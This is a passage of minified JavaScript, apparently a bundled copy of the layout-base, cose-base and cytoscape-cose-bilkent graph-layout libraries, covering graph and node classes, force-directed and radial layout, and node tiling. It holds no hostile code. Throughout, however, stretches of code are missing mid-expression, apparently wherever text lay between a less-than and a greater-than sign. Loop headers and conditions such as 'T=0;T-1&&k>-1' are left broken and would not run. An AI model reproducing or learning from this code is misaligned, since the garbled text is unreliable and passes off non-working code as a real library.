this.inclusionTreeDepth},h.prototype.transform=function(d){var p=this.rect.x;p>s.WORLD_BOUNDARY?p=s.WORLD_BOUNDARY:p<-s.WORLD_BOUNDARY&&(p=-s.WORLD_BOUNDARY);var m=this.rect.y;m>s.WORLD_BOUNDARY?m=s.WORLD_BOUNDARY:m<-s.WORLD_BOUNDARY&&(m=-s.WORLD_BOUNDARY);var g=new u(p,m),y=d.inverseTransformPoint(g);this.setLocation(y.x,y.y)},h.prototype.getLeft=function(){return this.rect.x},h.prototype.getRight=function(){return this.rect.x+this.rect.width},h.prototype.getTop=function(){return this.rect.y},h.prototype.getBottom=function(){return this.rect.y+this.rect.height},h.prototype.getParent=function(){return this.owner==null?null:this.owner.getParent()},t.exports=h}),(function(t,e,r){"use strict";function n(i,a){i==null&&a==null?(this.x=0,this.y=0):(this.x=i,this.y=a)}o(n,"PointD"),n.prototype.getX=function(){return this.x},n.prototype.getY=function(){return this.y},n.prototype.setX=function(i){this.x=i},n.prototype.setY=function(i){this.y=i},n.prototype.getDifference=function(i){return new DimensionD(this.x-i.x,this.y-i.y)},n.prototype.getCopy=function(){return new n(this.x,this.y)},n.prototype.translate=function(i){return this.x+=i.width,this.y+=i.height,this},t.exports=n}),(function(t,e,r){"use strict";var n=r(2),i=r(10),a=r(0),s=r(6),l=r(3),u=r(1),h=r(13),f=r(12),d=r(11);function p(g,y,v){n.call(this,v),this.estimatedSize=i.MIN_VALUE,this.margin=a.DEFAULT_GRAPH_MARGIN,this.edges=[],this.nodes=[],this.isConnected=!1,this.parent=g,y!=null&&y instanceof s?this.graphManager=y:y!=null&&y instanceof Layout&&(this.graphManager=y.graphManager)}o(p,"LGraph"),p.prototype=Object.create(n.prototype);for(var m in n)p[m]=n[m];p.prototype.getNodes=function(){return this.nodes},p.prototype.getEdges=function(){return this.edges},p.prototype.getGraphManager=function(){return this.graphManager},p.prototype.getParent=function(){return this.parent},p.prototype.getLeft=function(){return this.left},p.prototype.getRight=function(){return this.right},p.prototype.getTop=function(){return this.top},p.prototype.getBottom=function(){return this.bottom},p.prototype.isConnected=function(){return this.isConnected},p.prototype.add=function(g,y,v){if(y==null&&v==null){var x=g;if(this.graphManager==null)throw"Graph has no graph mgr!";if(this.getNodes().indexOf(x)>-1)throw"Node already in graph!";return x.owner=this,this.getNodes().push(x),x}else{var b=g;if(!(this.getNodes().indexOf(y)>-1&&this.getNodes().indexOf(v)>-1))throw"Source or target not in graph!";if(!(y.owner==v.owner&&y.owner==this))throw"Both owners must be this graph!";return y.owner!=v.owner?null:(b.source=y,b.target=v,b.isInterGraph=!1,this.getEdges().push(b),y.edges.push(b),v!=y&&v.edges.push(b),b)}},p.prototype.remove=function(g){var y=g;if(g instanceof l){if(y==null)throw"Node is null!";if(!(y.owner!=null&&y.owner==this))throw"Owner graph is invalid!";if(this.graphManager==null)throw"Owner graph manager is invalid!";for(var v=y.edges.slice(),x,b=v.length,T=0;T-1&&k>-1))throw"Source and/or target doesn't know this edge!";x.source.edges.splice(w,1),x.target!=x.source&&x.target.edges.splice(k,1);var S=x.source.owner.getEdges().indexOf(x);if(S==-1)throw"Not in owner's edge list!";x.source.owner.getEdges().splice(S,1)}},p.prototype.updateLeftTop=function(){for(var g=i.MAX_VALUE,y=i.MAX_VALUE,v,x,b,T=this.getNodes(),S=T.length,w=0;wv&&(g=v),y>x&&(y=x)}return g==i.MAX_VALUE?null:(T[0].getParent().paddingLeft!=null?b=T[0].getParent().paddingLeft:b=this.margin,this.left=y-b,this.top=g-b,new f(this.left,this.top))},p.prototype.updateBounds=function(g){for(var y=i.MAX_VALUE,v=-i.MAX_VALUE,x=i.MAX_VALUE,b=-i.MAX_VALUE,T,S,w,k,A,C=this.nodes,R=C.length,I=0;IT&&(y=T),vw&&(x=w),bT&&(y=T),vw&&(x=w),b=this.nodes.length){var R=0;v.forEach(function(I){I.owner==g&&R++}),R==this.nodes.length&&(this.isConnected=!0)}},t.exports=p}),(function(t,e,r){"use strict";var n,i=r(1);function a(s){n=r(5),this.layout=s,this.graphs=[],this.edges=[]}o(a,"LGraphManager"),a.prototype.addRoot=function(){var s=this.layout.newGraph(),l=this.layout.newNode(null),u=this.add(s,l);return this.setRootGraph(u),this.rootGraph},a.prototype.add=function(s,l,u,h,f){if(u==null&&h==null&&f==null){if(s==null)throw"Graph is null!";if(l==null)throw"Parent node is null!";if(this.graphs.indexOf(s)>-1)throw"Graph already in this graph mgr!";if(this.graphs.push(s),s.parent!=null)throw"Already has a parent!";if(l.child!=null)throw"Already has a child!";return s.parent=l,l.child=s,s}else{f=u,h=l,u=s;var d=h.getOwner(),p=f.getOwner();if(!(d!=null&&d.getGraphManager()==this))throw"Source not in this graph mgr!";if(!(p!=null&&p.getGraphManager()==this))throw"Target not in this graph mgr!";if(d==p)return u.isInterGraph=!1,d.add(u,h,f);if(u.isInterGraph=!0,u.source=h,u.target=f,this.edges.indexOf(u)>-1)throw"Edge already in inter-graph edge list!";if(this.edges.push(u),!(u.source!=null&&u.target!=null))throw"Edge source and/or target is null!";if(!(u.source.edges.indexOf(u)==-1&&u.target.edges.indexOf(u)==-1))throw"Edge already in source and/or target incidency list!";return u.source.edges.push(u),u.target.edges.push(u),u}},a.prototype.remove=function(s){if(s instanceof n){var l=s;if(l.getGraphManager()!=this)throw"Graph not in this graph mgr";if(!(l==this.rootGraph||l.parent!=null&&l.parent.graphManager==this))throw"Invalid parent node!";var u=[];u=u.concat(l.getEdges());for(var h,f=u.length,d=0;d=s.getRight()?l[0]+=Math.min(s.getX()-a.getX(),a.getRight()-s.getRight()):s.getX()<=a.getX()&&s.getRight()>=a.getRight()&&(l[0]+=Math.min(a.getX()-s.getX(),s.getRight()-a.getRight())),a.getY()<=s.getY()&&a.getBottom()>=s.getBottom()?l[1]+=Math.min(s.getY()-a.getY(),a.getBottom()-s.getBottom()):s.getY()<=a.getY()&&s.getBottom()>=a.getBottom()&&(l[1]+=Math.min(a.getY()-s.getY(),s.getBottom()-a.getBottom()));var f=Math.abs((s.getCenterY()-a.getCenterY())/(s.getCenterX()-a.getCenterX()));s.getCenterY()===a.getCenterY()&&s.getCenterX()===a.getCenterX()&&(f=1);var d=f*l[0],p=l[1]/f;l[0]d)return l[0]=u,l[1]=m,l[2]=f,l[3]=C,!1;if(hf)return l[0]=p,l[1]=h,l[2]=k,l[3]=d,!1;if(uf?(l[0]=y,l[1]=v,E=!0):(l[0]=g,l[1]=m,E=!0):_===M&&(u>f?(l[0]=p,l[1]=m,E=!0):(l[0]=x,l[1]=v,E=!0)),-O===M?f>u?(l[2]=A,l[3]=C,D=!0):(l[2]=k,l[3]=w,D=!0):O===M&&(f>u?(l[2]=S,l[3]=w,D=!0):(l[2]=R,l[3]=C,D=!0)),E&&D)return!1;if(u>f?h>d?(P=this.getCardinalDirection(_,M,4),B=this.getCardinalDirection(O,M,2)):(P=this.getCardinalDirection(-_,M,3),B=this.getCardinalDirection(-O,M,1)):h>d?(P=this.getCardinalDirection(-_,M,1),B=this.getCardinalDirection(-O,M,3)):(P=this.getCardinalDirection(_,M,2),B=this.getCardinalDirection(O,M,4)),!E)switch(P){case 1:G=m,F=u+-T/M,l[0]=F,l[1]=G;break;case 2:F=x,G=h+b*M,l[0]=F,l[1]=G;break;case 3:G=v,F=u+T/M,l[0]=F,l[1]=G;break;case 4:F=y,G=h+-b*M,l[0]=F,l[1]=G;break}if(!D)switch(B){case 1:U=w,$=f+-L/M,l[2]=$,l[3]=U;break;case 2:$=R,U=d+I*M,l[2]=$,l[3]=U;break;case 3:U=C,$=f+L/M,l[2]=$,l[3]=U;break;case 4:$=A,U=d+-I*M,l[2]=$,l[3]=U;break}}return!1},i.getCardinalDirection=function(a,s,l){return a>s?l:1+l%4},i.getIntersection=function(a,s,l,u){if(u==null)return this.getIntersection2(a,s,l);var h=a.x,f=a.y,d=s.x,p=s.y,m=l.x,g=l.y,y=u.x,v=u.y,x=void 0,b=void 0,T=void 0,S=void 0,w=void 0,k=void 0,A=void 0,C=void 0,R=void 0;return T=p-f,w=h-d,A=d*f-h*p,S=v-g,k=m-y,C=y*g-m*v,R=T*k-S*w,R===0?null:(x=(w*C-k*A)/R,b=(S*A-T*C)/R,new n(x,b))},i.angleOfVector=function(a,s,l,u){var h=void 0;return a!==l?(h=Math.atan((u-s)/(l-a)),l0?1:i<0?-1:0},n.floor=function(i){return i<0?Math.ceil(i):Math.floor(i)},n.ceil=function(i){return i<0?Math.floor(i):Math.ceil(i)},t.exports=n}),(function(t,e,r){"use strict";function n(){}o(n,"Integer"),n.MAX_VALUE=2147483647,n.MIN_VALUE=-2147483648,t.exports=n}),(function(t,e,r){"use strict";var n=(function(){function h(f,d){for(var p=0;p"u"?"undefined":n(a);return a==null||s!="object"&&s!="function"},t.exports=i}),(function(t,e,r){"use strict";function n(m){if(Array.isArray(m)){for(var g=0,y=Array(m.length);g0&&g;){for(T.push(w[0]);T.length>0&&g;){var k=T[0];T.splice(0,1),b.add(k);for(var A=k.getEdges(),x=0;x-1&&w.splice(L,1)}b=new Set,S=new Map}}return m},p.prototype.createDummyNodesForBendpoints=function(m){for(var g=[],y=m.source,v=this.graphManager.calcLowestCommonAncestor(m.source,m.target),x=0;x0){for(var v=this.edgeToDummyNodes.get(y),x=0;x=0&&g.splice(C,1);var R=S.getNeighborsList();R.forEach(function(E){if(y.indexOf(E)<0){var D=v.get(E),_=D-1;_==1&&k.push(E),v.set(E,_)}})}y=y.concat(k),(g.length==1||g.length==2)&&(x=!0,b=g[0])}return b},p.prototype.setGraphManager=function(m){this.graphManager=m},t.exports=p}),(function(t,e,r){"use strict";function n(){}o(n,"RandomSeed"),n.seed=1,n.x=0,n.nextDouble=function(){return n.x=Math.sin(n.seed++)*1e4,n.x-Math.floor(n.x)},t.exports=n}),(function(t,e,r){"use strict";var n=r(4);function i(a,s){this.lworldOrgX=0,this.lworldOrgY=0,this.ldeviceOrgX=0,this.ldeviceOrgY=0,this.lworldExtX=1,this.lworldExtY=1,this.ldeviceExtX=1,this.ldeviceExtY=1}o(i,"Transform"),i.prototype.getWorldOrgX=function(){return this.lworldOrgX},i.prototype.setWorldOrgX=function(a){this.lworldOrgX=a},i.prototype.getWorldOrgY=function(){return this.lworldOrgY},i.prototype.setWorldOrgY=function(a){this.lworldOrgY=a},i.prototype.getWorldExtX=function(){return this.lworldExtX},i.prototype.setWorldExtX=function(a){this.lworldExtX=a},i.prototype.getWorldExtY=function(){return this.lworldExtY},i.prototype.setWorldExtY=function(a){this.lworldExtY=a},i.prototype.getDeviceOrgX=function(){return this.ldeviceOrgX},i.prototype.setDeviceOrgX=function(a){this.ldeviceOrgX=a},i.prototype.getDeviceOrgY=function(){return this.ldeviceOrgY},i.prototype.setDeviceOrgY=function(a){this.ldeviceOrgY=a},i.prototype.getDeviceExtX=function(){return this.ldeviceExtX},i.prototype.setDeviceExtX=function(a){this.ldeviceExtX=a},i.prototype.getDeviceExtY=function(){return this.ldeviceExtY},i.prototype.setDeviceExtY=function(a){this.ldeviceExtY=a},i.prototype.transformX=function(a){var s=0,l=this.lworldExtX;return l!=0&&(s=this.ldeviceOrgX+(a-this.lworldOrgX)*this.ldeviceExtX/l),s},i.prototype.transformY=function(a){var s=0,l=this.lworldExtY;return l!=0&&(s=this.ldeviceOrgY+(a-this.lworldOrgY)*this.ldeviceExtY/l),s},i.prototype.inverseTransformX=function(a){var s=0,l=this.ldeviceExtX;return l!=0&&(s=this.lworldOrgX+(a-this.ldeviceOrgX)*this.lworldExtX/l),s},i.prototype.inverseTransformY=function(a){var s=0,l=this.ldeviceExtY;return l!=0&&(s=this.lworldOrgY+(a-this.ldeviceOrgY)*this.lworldExtY/l),s},i.prototype.inverseTransformPoint=function(a){var s=new n(this.inverseTransformX(a.x),this.inverseTransformY(a.y));return s},t.exports=i}),(function(t,e,r){"use strict";function n(d){if(Array.isArray(d)){for(var p=0,m=Array(d.length);pa.ADAPTATION_LOWER_NODE_LIMIT&&(this.coolingFactor=Math.max(this.coolingFactor*a.COOLING_ADAPTATION_FACTOR,this.coolingFactor-(d-a.ADAPTATION_LOWER_NODE_LIMIT)/(a.ADAPTATION_UPPER_NODE_LIMIT-a.ADAPTATION_LOWER_NODE_LIMIT)*this.coolingFactor*(1-a.COOLING_ADAPTATION_FACTOR))),this.maxNodeDisplacement=a.MAX_NODE_DISPLACEMENT_INCREMENTAL):(d>a.ADAPTATION_LOWER_NODE_LIMIT?this.coolingFactor=Math.max(a.COOLING_ADAPTATION_FACTOR,1-(d-a.ADAPTATION_LOWER_NODE_LIMIT)/(a.ADAPTATION_UPPER_NODE_LIMIT-a.ADAPTATION_LOWER_NODE_LIMIT)*(1-a.COOLING_ADAPTATION_FACTOR)):this.coolingFactor=1,this.initialCoolingFactor=this.coolingFactor,this.maxNodeDisplacement=a.MAX_NODE_DISPLACEMENT),this.maxIterations=Math.max(this.getAllNodes().length*5,this.maxIterations),this.totalDisplacementThreshold=this.displacementThresholdPerNode*this.getAllNodes().length,this.repulsionRange=this.calcRepulsionRange()},h.prototype.calcSpringForces=function(){for(var d=this.getAllEdges(),p,m=0;m0&&arguments[0]!==void 0?arguments[0]:!0,p=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!1,m,g,y,v,x=this.getAllNodes(),b;if(this.useFRGridVariant)for(this.totalIterations%a.GRID_CALCULATION_CHECK_PERIOD==1&&d&&this.updateGrid(),b=new Set,m=0;mT||b>T)&&(d.gravitationForceX=-this.gravityConstant*y,d.gravitationForceY=-this.gravityConstant*v)):(T=p.getEstimatedSize()*this.compoundGravityRangeFactor,(x>T||b>T)&&(d.gravitationForceX=-this.gravityConstant*y*this.compoundGravityConstant,d.gravitationForceY=-this.gravityConstant*v*this.compoundGravityConstant))},h.prototype.isConverged=function(){var d,p=!1;return this.totalIterations>this.maxIterations/3&&(p=Math.abs(this.totalDisplacement-this.oldTotalDisplacement)<2),d=this.totalDisplacement=x.length||T>=x[0].length)){for(var S=0;Sh},"_defaultCompareFunction")}]),l})();t.exports=s}),(function(t,e,r){"use strict";var n=(function(){function s(l,u){for(var h=0;h2&&arguments[2]!==void 0?arguments[2]:1,f=arguments.length>3&&arguments[3]!==void 0?arguments[3]:-1,d=arguments.length>4&&arguments[4]!==void 0?arguments[4]:-1;i(this,s),this.sequence1=l,this.sequence2=u,this.match_score=h,this.mismatch_penalty=f,this.gap_penalty=d,this.iMax=l.length+1,this.jMax=u.length+1,this.grid=new Array(this.iMax);for(var p=0;p=0;l--){var u=this.listeners[l];u.event===a&&u.callback===s&&this.listeners.splice(l,1)}},i.emit=function(a,s){for(var l=0;l{"use strict";o((function(e,r){typeof Ax=="object"&&typeof BI=="object"?BI.exports=r(PI()):typeof define=="function"&&define.amd?define(["layout-base"],r):typeof Ax=="object"?Ax.coseBase=r(PI()):e.coseBase=r(e.layoutBase)}),"webpackUniversalModuleDefinition")(Ax,function(t){return(function(e){var r={};function n(i){if(r[i])return r[i].exports;var a=r[i]={i,l:!1,exports:{}};return e[i].call(a.exports,a,a.exports,n),a.l=!0,a.exports}return o(n,"__webpack_require__"),n.m=e,n.c=r,n.i=function(i){return i},n.d=function(i,a,s){n.o(i,a)||Object.defineProperty(i,a,{configurable:!1,enumerable:!0,get:s})},n.n=function(i){var a=i&&i.__esModule?o(function(){return i.default},"getDefault"):o(function(){return i},"getModuleExports");return n.d(a,"a",a),a},n.o=function(i,a){return Object.prototype.hasOwnProperty.call(i,a)},n.p="",n(n.s=7)})([(function(e,r){e.exports=t}),(function(e,r,n){"use strict";var i=n(0).FDLayoutConstants;function a(){}o(a,"CoSEConstants");for(var s in i)a[s]=i[s];a.DEFAULT_USE_MULTI_LEVEL_SCALING=!1,a.DEFAULT_RADIAL_SEPARATION=i.DEFAULT_EDGE_LENGTH,a.DEFAULT_COMPONENT_SEPERATION=60,a.TILE=!0,a.TILING_PADDING_VERTICAL=10,a.TILING_PADDING_HORIZONTAL=10,a.TREE_REDUCTION_ON_INCREMENTAL=!1,e.exports=a}),(function(e,r,n){"use strict";var i=n(0).FDLayoutEdge;function a(l,u,h){i.call(this,l,u,h)}o(a,"CoSEEdge"),a.prototype=Object.create(i.prototype);for(var s in i)a[s]=i[s];e.exports=a}),(function(e,r,n){"use strict";var i=n(0).LGraph;function a(l,u,h){i.call(this,l,u,h)}o(a,"CoSEGraph"),a.prototype=Object.create(i.prototype);for(var s in i)a[s]=i[s];e.exports=a}),(function(e,r,n){"use strict";var i=n(0).LGraphManager;function a(l){i.call(this,l)}o(a,"CoSEGraphManager"),a.prototype=Object.create(i.prototype);for(var s in i)a[s]=i[s];e.exports=a}),(function(e,r,n){"use strict";var i=n(0).FDLayoutNode,a=n(0).IMath;function s(u,h,f,d){i.call(this,u,h,f,d)}o(s,"CoSENode"),s.prototype=Object.create(i.prototype);for(var l in i)s[l]=i[l];s.prototype.move=function(){var u=this.graphManager.getLayout();this.displacementX=u.coolingFactor*(this.springForceX+this.repulsionForceX+this.gravitationForceX)/this.noOfChildren,this.displacementY=u.coolingFactor*(this.springForceY+this.repulsionForceY+this.gravitationForceY)/this.noOfChildren,Math.abs(this.displacementX)>u.coolingFactor*u.maxNodeDisplacement&&(this.displacementX=u.coolingFactor*u.maxNodeDisplacement*a.sign(this.displacementX)),Math.abs(this.displacementY)>u.coolingFactor*u.maxNodeDisplacement&&(this.displacementY=u.coolingFactor*u.maxNodeDisplacement*a.sign(this.displacementY)),this.child==null?this.moveBy(this.displacementX,this.displacementY):this.child.getNodes().length==0?this.moveBy(this.displacementX,this.displacementY):this.propogateDisplacementToChildren(this.displacementX,this.displacementY),u.totalDisplacement+=Math.abs(this.displacementX)+Math.abs(this.displacementY),this.springForceX=0,this.springForceY=0,this.repulsionForceX=0,this.repulsionForceY=0,this.gravitationForceX=0,this.gravitationForceY=0,this.displacementX=0,this.displacementY=0},s.prototype.propogateDisplacementToChildren=function(u,h){for(var f=this.getChild().getNodes(),d,p=0;p0)this.positionNodesRadially(w);else{this.reduceTrees(),this.graphManager.resetAllNodesToApplyGravitation();var k=new Set(this.getAllNodes()),A=this.nodesWithGravity.filter(function(C){return k.has(C)});this.graphManager.setAllNodesToApplyGravitation(A),this.positionNodesRandomly()}}return this.initSpringEmbedder(),this.runSpringEmbedder(),!0},T.prototype.tick=function(){if(this.totalIterations++,this.totalIterations===this.maxIterations&&!this.isTreeGrowing&&!this.isGrowthFinished)if(this.prunedNodesAll.length>0)this.isTreeGrowing=!0;else return!0;if(this.totalIterations%f.CONVERGENCE_CHECK_PERIOD==0&&!this.isTreeGrowing&&!this.isGrowthFinished){if(this.isConverged())if(this.prunedNodesAll.length>0)this.isTreeGrowing=!0;else return!0;this.coolingCycle++,this.layoutQuality==0?this.coolingAdjuster=this.coolingCycle:this.layoutQuality==1&&(this.coolingAdjuster=this.coolingCycle/3),this.coolingFactor=Math.max(this.initialCoolingFactor-Math.pow(this.coolingCycle,Math.log(100*(this.initialCoolingFactor-this.finalTemperature))/Math.log(this.maxCoolingCycle))/100*this.coolingAdjuster,this.finalTemperature),this.animationPeriod=Math.ceil(this.initialAnimationPeriod*Math.sqrt(this.coolingFactor))}if(this.isTreeGrowing){if(this.growTreeIterations%10==0)if(this.prunedNodesAll.length>0){this.graphManager.updateBounds(),this.updateGrid(),this.growTree(this.prunedNodesAll),this.graphManager.resetAllNodesToApplyGravitation();var w=new Set(this.getAllNodes()),k=this.nodesWithGravity.filter(function(R){return w.has(R)});this.graphManager.setAllNodesToApplyGravitation(k),this.graphManager.updateBounds(),this.updateGrid(),this.coolingFactor=f.DEFAULT_COOLING_FACTOR_INCREMENTAL}else this.isTreeGrowing=!1,this.isGrowthFinished=!0;this.growTreeIterations++}if(this.isGrowthFinished){if(this.isConverged())return!0;this.afterGrowthIterations%10==0&&(this.graphManager.updateBounds(),this.updateGrid()),this.coolingFactor=f.DEFAULT_COOLING_FACTOR_INCREMENTAL*((100-this.afterGrowthIterations)/100),this.afterGrowthIterations++}var A=!this.isTreeGrowing&&!this.isGrowthFinished,C=this.growTreeIterations%10==1&&this.isTreeGrowing||this.afterGrowthIterations%10==1&&this.isGrowthFinished;return this.totalDisplacement=0,this.graphManager.updateBounds(),this.calcSpringForces(),this.calcRepulsionForces(A,C),this.calcGravitationalForces(),this.moveNodes(),this.animate(),!1},T.prototype.getPositionsData=function(){for(var w=this.graphManager.getAllNodes(),k={},A=0;A1){var E;for(E=0;EC&&(C=Math.floor(L.y)),I=Math.floor(L.x+h.DEFAULT_COMPONENT_SEPERATION)}this.transform(new m(d.WORLD_CENTER_X-L.x/2,d.WORLD_CENTER_Y-L.y/2))},T.radialLayout=function(w,k,A){var C=Math.max(this.maxDiagonalInTree(w),h.DEFAULT_RADIAL_SEPARATION);T.branchRadialLayout(k,null,0,359,0,C);var R=x.calculateBounds(w),I=new b;I.setDeviceOrgX(R.getMinX()),I.setDeviceOrgY(R.getMinY()),I.setWorldOrgX(A.x),I.setWorldOrgY(A.y);for(var L=0;L1;){var j=U[0];U.splice(0,1);var te=P.indexOf(j);te>=0&&P.splice(te,1),G--,B--}k!=null?$=(P.indexOf(U[0])+1)%G:$=0;for(var Y=Math.abs(C-A)/B,oe=$;F!=B;oe=++oe%G){var J=P[oe].getOtherEnd(w);if(J!=k){var ue=(A+F*Y)%360,re=(ue+Y)%360;T.branchRadialLayout(J,w,ue,re,R+I,I),F++}}},T.maxDiagonalInTree=function(w){for(var k=y.MIN_VALUE,A=0;Ak&&(k=R)}return k},T.prototype.calcRepulsionRange=function(){return 2*(this.level+1)*this.idealEdgeLength},T.prototype.groupZeroDegreeMembers=function(){var w=this,k={};this.memberGroups={},this.idToDummyNode={};for(var A=[],C=this.graphManager.getAllNodes(),R=0;R"u"&&(k[E]=[]),k[E]=k[E].concat(I)}Object.keys(k).forEach(function(D){if(k[D].length>1){var _="DummyCompound_"+D;w.memberGroups[_]=k[D];var O=k[D][0].getParent(),M=new l(w.graphManager);M.id=_,M.paddingLeft=O.paddingLeft||0,M.paddingRight=O.paddingRight||0,M.paddingBottom=O.paddingBottom||0,M.paddingTop=O.paddingTop||0,w.idToDummyNode[_]=M;var P=w.getGraphManager().add(w.newGraph(),M),B=O.getChild();B.add(M);for(var F=0;F=0;w--){var k=this.compoundOrder[w],A=k.id,C=k.paddingLeft,R=k.paddingTop;this.adjustLocations(this.tiledMemberPack[A],k.rect.x,k.rect.y,C,R)}},T.prototype.repopulateZeroDegreeMembers=function(){var w=this,k=this.tiledZeroDegreePack;Object.keys(k).forEach(function(A){var C=w.idToDummyNode[A],R=C.paddingLeft,I=C.paddingTop;w.adjustLocations(k[A],C.rect.x,C.rect.y,R,I)})},T.prototype.getToBeTiled=function(w){var k=w.id;if(this.toBeTiled[k]!=null)return this.toBeTiled[k];var A=w.getChild();if(A==null)return this.toBeTiled[k]=!1,!1;for(var C=A.getNodes(),R=0;R0)return this.toBeTiled[k]=!1,!1;if(I.getChild()==null){this.toBeTiled[I.id]=!1;continue}if(!this.getToBeTiled(I))return this.toBeTiled[k]=!1,!1}return this.toBeTiled[k]=!0,!0},T.prototype.getNodeDegree=function(w){for(var k=w.id,A=w.getEdges(),C=0,R=0;RD&&(D=O.rect.height)}A+=D+w.verticalPadding}},T.prototype.tileCompoundMembers=function(w,k){var A=this;this.tiledMemberPack=[],Object.keys(w).forEach(function(C){var R=k[C];A.tiledMemberPack[C]=A.tileNodes(w[C],R.paddingLeft+R.paddingRight),R.rect.width=A.tiledMemberPack[C].width,R.rect.height=A.tiledMemberPack[C].height})},T.prototype.tileNodes=function(w,k){var A=h.TILING_PADDING_VERTICAL,C=h.TILING_PADDING_HORIZONTAL,R={rows:[],rowWidth:[],rowHeight:[],width:0,height:k,verticalPadding:A,horizontalPadding:C};w.sort(function(E,D){return E.rect.width*E.rect.height>D.rect.width*D.rect.height?-1:E.rect.width*E.rect.height0&&(L+=w.horizontalPadding),w.rowWidth[A]=L,w.width0&&(E+=w.verticalPadding);var D=0;E>w.rowHeight[A]&&(D=w.rowHeight[A],w.rowHeight[A]=E,D=w.rowHeight[A]-D),w.height+=D,w.rows[A].push(k)},T.prototype.getShortestRowIndex=function(w){for(var k=-1,A=Number.MAX_VALUE,C=0;CA&&(k=C,A=w.rowWidth[C]);return k},T.prototype.canAddHorizontal=function(w,k,A){var C=this.getShortestRowIndex(w);if(C<0)return!0;var R=w.rowWidth[C];if(R+w.horizontalPadding+k<=w.width)return!0;var I=0;w.rowHeight[C]0&&(I=A+w.verticalPadding-w.rowHeight[C]);var L;w.width-R>=k+w.horizontalPadding?L=(w.height+I)/(R+k+w.horizontalPadding):L=(w.height+I)/w.width,I=A+w.verticalPadding;var E;return w.widthI&&k!=A){C.splice(-1,1),w.rows[A].push(R),w.rowWidth[k]=w.rowWidth[k]-I,w.rowWidth[A]=w.rowWidth[A]+I,w.width=w.rowWidth[instance.getLongestRowIndex(w)];for(var L=Number.MIN_VALUE,E=0;EL&&(L=C[E].height);k>0&&(L+=w.verticalPadding);var D=w.rowHeight[k]+w.rowHeight[A];w.rowHeight[k]=L,w.rowHeight[A]0)for(var B=R;B<=I;B++)P[0]+=this.grid[B][L-1].length+this.grid[B][L].length-1;if(I0)for(var B=L;B<=E;B++)P[3]+=this.grid[R-1][B].length+this.grid[R][B].length-1;for(var F=y.MAX_VALUE,G,$,U=0;U{"use strict";o((function(e,r){typeof _x=="object"&&typeof $I=="object"?$I.exports=r(FI()):typeof define=="function"&&define.amd?define(["cose-base"],r):typeof _x=="object"?_x.cytoscapeCoseBilkent=r(FI()):e.cytoscapeCoseBilkent=r(e.coseBase)}),"webpackUniversalModuleDefinition")(_x,function(t){return(function(e){var r={};function n(i){if(r[i])return r[i].exports;var a=r[i]={i,l:!1,exports:{}};return e[i].call(a.exports,a,a.exports,n),a.l=!0,a.exports}return o(n,"__webpack_require__"),n.m=e,n.c=r,n.i=function(i){return i},n.d=function(i,a,s){n.o(i,a)||Object.defineProperty(i,a,{configurable:!1,enumerable:!0,get:s})},n.n=function(i){var a=i&&i.__esModule?o(function(){return i.default},"getDefault"):o(function(){return i},"getModuleExports");return n.d(a,"a",a),a},n.o=function(i,a){return Object.prototype.hasOwnProperty.call(i,a)},n.p="",n(n.s=1)})([(function(e,r){e.exports=t}),(function(e,r,n){"use strict";var i=n(0).layoutBase.LayoutConstants,a=n(0).layoutBase.FDLayoutConstants,s=n(0).CoSEConstants,l=n(0).CoSELayout,u=n(0).CoSENode,h=n(0).layoutBase.PointD,f=n(0).layoutBase.DimensionD,d={ready:o(function(){},"ready"),stop:o(function(){},"stop"),quality:"default",nodeDimensionsIncludeLabels:!1,refresh:30,fit:!0,padding:10,randomize:!0,nodeRepulsion:4500,idealEdgeLength:50,edgeElasticity:.45,nestingFactor:.1,gravity:.25,numIter:2500,tile:!0,animate:"end",animationDuration:500,tilingPaddingVertical:10,tilingPaddingHorizontal:10,gravityRangeCompound:1.5,gravityCompound:1,gravityRange:3.8,initialEnergyOnIncremental:.5};function p(v,x){var b={};for(var T in v)b[T]=v[T];for(var T in x)b[T]=x[T];return b}o(p,"extend");function m(v){this.options=p(d,v),g(this.options)}o(m,"_CoSELayout");var g=o(function(x){x.nodeRepulsion!=null&&(s.DEFAULT_REPULSION_STRENGTH=a.DEFAULT_REPULSION_STRENGTH=x.nodeRepulsion),x.idealEdgeLength!=null&&(s.DEFAULT_EDGE_LENGTH=a.DEFAULT_EDGE_LENGTH=x.idealEdgeLength),x.edgeElasticity!=null&&(s.DEFAULT_SPRING_STRENGTH=a.DEFAULT_SPRING_STRENGTH=x.edgeElasticity),x.nestingFactor!=null&&(s.PER_LEVEL_IDEAL_EDGE_LENGTH_FACTOR=a.PER_LEVEL_IDEAL_EDGE_LENGTH_FACTOR=x.nestingFactor),x.gravity!=null&&(s.DEFAULT_GRAVITY_STRENGTH=a.DEFAULT_GRAVITY_STRENGTH=x.gravity),x.numIter!=null&&(s.MAX_ITERATIONS=a.MAX_ITERATIONS=x.numIter),x.gravityRange!=null&&(s.DEFAULT_GRAVITY_RANGE_FACTOR=a.DEFAULT_GRAVITY_RANGE_FACTOR=x.gravityRange),x.gravityCompound!=null&&(s.DEFAULT_COMPOUND_GRAVITY_STRENGTH=a.DEFAULT_COMPOUND_GRAVITY_STRENGTH=x.gravityCompound),x.gravityRangeCompound!=null&&(s.DEFAULT_COMPOUND_GRAVITY_RANGE_FACTOR=a.DEFAULT_COMPOUND_GRAVITY_RANGE_FACTOR=x.gravityRangeCompound),x.initialEnergyOnIncremental!=null&&(s.DEFAULT_COOLING_FACTOR_INCREMENTAL=a.DEFAULT_COOLING_FACTOR_INCREMENTAL=x.initialEnergyOnIncremental),x.quality=="draft"?i.QUALITY=0:x.quality=="proof"?i.QUALITY=2:i.QUALITY=1,s.NODE_DIMENSIONS_INCLUDE_LABELS=a.NODE_DIMENSIONS_INCLUDE_LABELS=i.NODE_DIMENSIONS_INCLUDE_LABELS=x.nodeDimensionsIncludeLabels,s.DEFAULT_INCREMENTAL=a.DEFAULT_INCREMENTAL=i.DEFAULT_INCREMENTAL=!x.randomize,s.ANIMATE=a.ANIMATE=i.ANIMATE=x.animate,s.TILE=x.tile,s.TILING_PADDING_VERTICAL=typeof x.tilingPaddingVertical=="function"?x.tilingPaddingVertical.call():x.tilingPaddingVertical,s.TILING_PADDING_HORIZONTAL=typeof x.tilingPaddingHorizontal=="function"?x.tilingPaddingHorizontal.call():x.tilingPaddingHorizontal},"getUserOptions");m.prototype.run=function(){var v,x,b=this.options,T=this.idToLNode={},S=this.layout=new l,w=this;w.stopped=!1,this.cy=this.options.cy,this.cy.trigger({type:"layoutstart",layout:this});var k=S.newGraphManager();this.gm=k;var 